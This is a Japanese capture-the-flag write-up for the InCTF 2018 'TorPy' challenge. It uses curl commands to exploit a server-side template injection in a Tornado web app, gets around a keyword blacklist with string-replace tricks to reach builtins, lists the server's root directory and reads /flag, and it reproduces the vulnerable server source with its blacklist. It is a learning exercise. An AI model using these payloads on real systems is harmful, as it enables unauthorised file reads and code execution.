InCTF 2018 - TorPy
問題文
Where is /flag ?
writeup
コメントにname=
という怪しいパラメータ。
root@kali:~# curl "http://18.223.211.42/" <!DOCTYPE html> <html> <head> <title>Hack Us</title> </head> <body> <h3>Can you hack our, So called amazingly secure web service !!!</h3> <div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div> <!-- name= --> </body> </html>
クエリパラメータにnameを付けるとセットされた。
root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name=hoge" <!DOCTYPE html> <html> <head> <title>Hack Us</title> </head> <body> <h3>Can you hack our, So called amazingly secure web service !!!</h3> <div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div> <!-- name=hoge --> </body> </html>
テンプレートインジェクションを試すとビンゴ。
またもやpyjail系の問題か。
root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{7*7}}" <!DOCTYPE html> <html> <head> <title>Hack Us</title> </head> <body> <h3>Can you hack our, So called amazingly secure web service !!!</h3> <div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div> <!-- name=49 --> </body> </html>
ここからはblacklistとの戦い。
最終的に、以下のコードが通った。
replace
を使っているのはblacklist回避である。
また、globals()
はNGだったが、間にスペースを入れてglobals ()
は通った。
root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('__imphoge__'.replace('hoge','ort'))('oh'.replace('h','s')).listdir('/')}}" <!DOCTYPE html> <html> <head> <title>Hack Us</title> </head> <body> <h3>Can you hack our, So called amazingly secure web service !!!</h3> <div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div> <!-- name=['proc', 'lib64', 'sbin', 'mnt', 'var', 'lost+found', 'media', 'initrd.img', 'usr', 'vmlinuz', 'etc', 'boot', 'tmp', 'srv', 'dev', 'run', 'sys', 'snap', 'vmlinuz.old', 'root', 'bin', 'initrd.img.old', 'opt', 'lib', 'flag', 'home'] --> </body> </html>
以下で/flag
を読み込み。
root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('ophoge'.replace('hoge','en'))('/flag').read()}}" <!DOCTYPE html> <html> <head> <title>Hack Us</title> </head> <body> <h3>Can you hack our, So called amazingly secure web service !!!</h3> <div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div> <!-- name=inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l} --> </body> </html>
フラグゲット。
inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3!!!1t5_M461c4l}
最近、pyjail系の問題ばかり解いている気がする。
補足
blacklistを確認するため、ソースコードも取得した。
import tornado.template import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', '') if(name=="index.html"): template_data = open("/var/www/chall-1/index.html").read() t = tornado.template.Template(template_data) self.write(t.generate(name=name)) else: blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','%','subprocess','file','open','popen','builtins','+','compile','execfile','getattr',']','[','from_pyfile','tornado','config','app','base','als('] flag=0 for i in blacklist: if i in name: flag=1 break if(flag==1): template_data = open("/var/www/chall-1/index.html").read().replace("index.html","Sorry, but some keywords are blacklisted in your payload!!!") t = tornado.template.Template(template_data) self.write(t.generate(name=name)) else: if(name.count("{")>2 or name.count("}")>2): template_data = open("/var/www/chall-1/index.html").read().replace("index.html","you can only use two '{' and two '}'") t = tornado.template.Template(template_data) self.write(t.generate(name=name)) else: template_data = open("/var/www/chall-1/index.html").read().replace("index.html",name) t = tornado.template.Template(template_data) self.write(t.generate(name=name)) application = tornado.web.Application([ (r"/", MainHandler), ], debug=False, static_path=None, template_path=None) if __name__ == '__main__': application.listen(8000) tornado.ioloop.IOLoop.instance().start()